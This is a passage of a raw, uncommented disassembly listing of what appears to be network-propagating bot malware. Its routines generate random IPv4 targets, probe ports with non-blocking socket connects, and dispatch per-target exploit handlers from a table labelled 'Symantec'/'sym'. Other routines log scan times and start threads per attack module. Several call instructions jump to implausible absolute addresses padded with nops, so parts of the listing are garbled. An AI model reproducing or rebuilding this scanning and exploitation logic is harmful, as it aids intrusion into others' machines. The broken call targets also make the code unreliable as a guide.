		mov	eax, dword_4CE130
		mov	ecx, dword_4CE12C
		push	esi
		push	dword_4CB364
		lea	esi, [ecx+eax]
		call	sub_41A88B
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE130
		lea	eax, [ebp+var_200]
		push	dword_4CE12C
		push	offset unk_431E84
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_401ACD+2AC9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB364
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE374
		push	offset unk_431ECC
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 28h
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DA	proc near		; CODE XREF: sub_401ACD+2AB3p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431F18
		push	eax
		call	sub_41B886
		cmp	dword_431AC8, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B846
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B80F:				; CODE XREF: sub_40B7DA+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431F08
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B80F
		pop	esi


loc_40B846:				; CODE XREF: sub_40B7DA+2Dj
		push	dword_4CB364
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DA	endp

; ---------------------------------------------------------------------------
byte_40B8A1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CB664
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_431AC8, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BA03
		mov	ebx, offset dword_431AC8
		mov	eax, ebx


loc_40B8F2:				; CODE XREF: ___:0040B9FDj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C087
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F3
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431F68
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98E
		lea	eax, [ebp-124h]


loc_40B98E:				; CODE XREF: ___:0040B986j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40B9F3:				; CODE XREF: ___:0040B905j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F2


loc_40BA03:				; CODE XREF: ___:0040B8E5j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431F34
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		add	esp, 2Ch
		push	edi
; ---------------------------------------------------------------------------
		dd 474F28E8h
		db 2, 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA56	proc near		; CODE XREF: sub_401ACD+244Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_40BA92
		mov	eax, [ebp+arg_C]
		push	dword_4CB770[eax*8]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431FB8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------


loc_40BA92:				; CODE XREF: sub_40BA56+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431F98
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40BAA5:				; CODE XREF: sub_40BA56+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		leave
		retn
sub_40BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACD	proc near		; CODE XREF: sub_40C124+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BF9F
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431AD4[eax], ebx
		jz	loc_40BF9F
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BD54
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD82C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDA3C, eax
		mov	dword_4CDA38, ebx
		nop
		call	near ptr 2810000h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CD930
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD828, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDAC0, eax
		jnz	short loc_40BB80
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDA40
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAC4, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BB80:				; CODE XREF: sub_40BACD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDA40
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAC4, ebx


loc_40BB9A:				; CODE XREF: sub_40BACD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDA3C
		push	offset unk_42C51C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CDA34, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD828
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, dword_4CDA34
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40BC08


loc_40BBF6:				; CODE XREF: sub_40BACD+139j
		cmp	dword_4CDAC8, ebx
		jnz	short loc_40BC23
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_40BBF6
; ---------------------------------------------------------------------------


loc_40BC08:				; CODE XREF: sub_40BACD+127j
		nop
		call	near ptr 2830047h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4320D8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BC23:				; CODE XREF: sub_40BACD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		mov	eax, dword_4CB360
		mov	esi, offset dword_4CDAD4
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CDCE4, eax
		mov	dword_4CDCE0, ebx
		call	near ptr 2810000h
		nop
		push	103h
		push	edi
		push	offset dword_4CDBD8
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDAD0, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CDD68, eax
		push	7Fh
		jnz	short loc_40BCA4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDCE8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD6C, 1
		jmp	short loc_40BCBE
; ---------------------------------------------------------------------------


loc_40BCA4:				; CODE XREF: sub_40BACD+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDCE8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD6C, ebx


loc_40BCBE:				; CODE XREF: sub_40BACD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDCE4
		push	offset unk_4320A4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CDCDC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDAD0
		push	offset byte_40E991
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, dword_4CDCDC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40BD2C


loc_40BD1A:				; CODE XREF: sub_40BACD+25Dj
		cmp	dword_4CDD70, ebx
		jnz	short loc_40BD47
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_40BD1A
; ---------------------------------------------------------------------------


loc_40BD2C:				; CODE XREF: sub_40BACD+24Bj
		call	near ptr 2830047h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432070
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BD47:				; CODE XREF: sub_40BACD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BD54:				; CODE XREF: sub_40BACD+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_431ADC[ecx], ebx
		jz	loc_40BE7D
		push	7
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BE77
		mov	eax, dword_4CE36C
		cmp	[ebp+arg_90], bl
		mov	dword_4CD794, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD788, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD790, ebx
		mov	dword_4CD818, eax
		push	7Fh
		jnz	short loc_40BDC8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD798
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD81C, 1
		jmp	short loc_40BDE2
; ---------------------------------------------------------------------------


loc_40BDC8:				; CODE XREF: sub_40BACD+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD798
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD81C, ebx


loc_40BDE2:				; CODE XREF: sub_40BACD+2F9j
		push	dword_4CD794
		lea	eax, [ebp+var_204]
		push	offset unk_432040
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	dword_4CD78C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD788
		push	offset byte_40E6EF
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, dword_4CD78C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40BE4F


loc_40BE3D:				; CODE XREF: sub_40BACD+380j
		cmp	dword_4CD820, ebx
		jnz	short loc_40BE6A
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_40BE3D
; ---------------------------------------------------------------------------


loc_40BE4F:				; CODE XREF: sub_40BACD+36Ej
		nop
		call	near ptr 2830047h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432008
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BE6A:				; CODE XREF: sub_40BACD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BE77:				; CODE XREF: sub_40BACD+2A8j
		mov	eax, [ebp+arg_130]


loc_40BE7D:				; CODE XREF: sub_40BACD+298j
		shl	eax, 6
		cmp	dword_431AD8[eax], ebx
		jz	loc_40BF9F
		push	3
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BF9F
		mov	esi, offset dword_4CE004
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2810000h
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBE
		mov	[eax], bl


loc_40BEBE:				; CODE XREF: sub_40BACD+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE11C, ebx
		mov	dword_4CE108, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDD7C
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CDD78, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE108
		mov	dword_4CE114, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE118, ecx
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C4A4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	dword_4CE110, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDD78
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, dword_4CE110
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40BF77


loc_40BF65:				; CODE XREF: sub_40BACD+4A8j
		cmp	dword_4CE124, ebx
		jnz	short loc_40BF92
		push	32h
		call	near ptr 2820566h
		nop
		jmp	short loc_40BF65
; ---------------------------------------------------------------------------


loc_40BF77:				; CODE XREF: sub_40BACD+496j
		call	near ptr 2830047h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431FD4
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BF92:				; CODE XREF: sub_40BACD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BF9F:				; CODE XREF: sub_40BACD+14j
					; sub_40BACD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA3	proc near		; CODE XREF: sub_40C124:loc_40C195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB770h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB54C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB620
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEB	proc near		; CODE XREF: sub_40C124+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C013
		xor	eax, eax
		jmp	short loc_40C084
; ---------------------------------------------------------------------------


loc_40C013:				; CODE XREF: sub_40BFEB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C040
		call	sub_41B8E2
		mov	[ebp+var_C], eax


loc_40C040:				; CODE XREF: sub_40BFEB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04D
		call	sub_41B8E2
		mov	[ebp+var_8], eax


loc_40C04D:				; CODE XREF: sub_40BFEB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05A
		call	sub_41B8E2
		mov	[ebp+var_4], eax


loc_40C05A:				; CODE XREF: sub_40BFEB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C066
		call	sub_41B8E2


loc_40C066:				; CODE XREF: sub_40BFEB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB770[ecx*8], eax


loc_40C084:				; CODE XREF: sub_40BFEB+26j
		pop	esi
		leave
		retn
sub_40BFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: ___:0040B8FAp
					; sub_40C124+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CB6A4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B0
		xor	eax, eax
		jmp	short loc_40C11F
; ---------------------------------------------------------------------------


loc_40C0B0:				; CODE XREF: sub_40C087+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB624
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6C0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5CC
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB60C
		push	esi
		mov	edi, eax
		call	dword_4CB6BC
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C11F:				; CODE XREF: sub_40C087+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; DATA XREF: sub_40C124+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	near ptr 2830E52h
		nop
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C16B:				; CODE XREF: sub_40C124+204j
		mov	eax, dword_43E564[ebx]
		cmp	dword_4CB774[eax*8], 0
		jz	loc_40C32D
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C195
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEB
		pop	ecx
		jmp	short loc_40C19A
; ---------------------------------------------------------------------------


loc_40C195:				; CODE XREF: sub_40C124+60j
		call	sub_40BFA3


loc_40C19A:				; CODE XREF: sub_40C124+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E564[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_432134
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E360[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C087
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C271
		push	offset dword_4CD770
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_43210C
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C253
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C247
		lea	eax, [ebp+var_140]


loc_40C247:				; CODE XREF: sub_40C124+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A72
		add	esp, 14h


loc_40C253:				; CODE XREF: sub_40C124+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AC
		mov	[esp+29Ch+var_29C], offset dword_4CD770
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C31D
; ---------------------------------------------------------------------------


loc_40C271:				; CODE XREF: sub_40C124+D0j
		push	edi
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B6
		lea	eax, [ebp+var_140]


loc_40C2B6:				; CODE XREF: sub_40C124+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_431ACC[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C31D:				; CODE XREF: sub_40C124+C6j
					; sub_40C124+148j
		push	7D0h
		call	near ptr 2820566h
		nop
		jmp	loc_40C16B
; ---------------------------------------------------------------------------


loc_40C32D:				; CODE XREF: sub_40C124+55j
		push	esi
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 288097Dh


loc_40C33C:				; DATA XREF: sub_401ACD+1F81o
					; sub_401ACD+5C48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CB664
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB770[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACD
		push	0Bh
		call	sub_40B33E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40A
		mov	esi, offset dword_4CD770
		push	esi
		nop
		call	near ptr 289023Fh
		push	80000400h
		push	esi
		call	near ptr 2890000h
		nop
		test	eax, eax
		jnz	short loc_40C40A
		lea	eax, [ebp+var_1CC]
		push	offset unk_432218
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F4
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C3F4:				; CODE XREF: sub_40C124+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C40A:				; CODE XREF: sub_40C124+27Bj
					; sub_40C124+297j
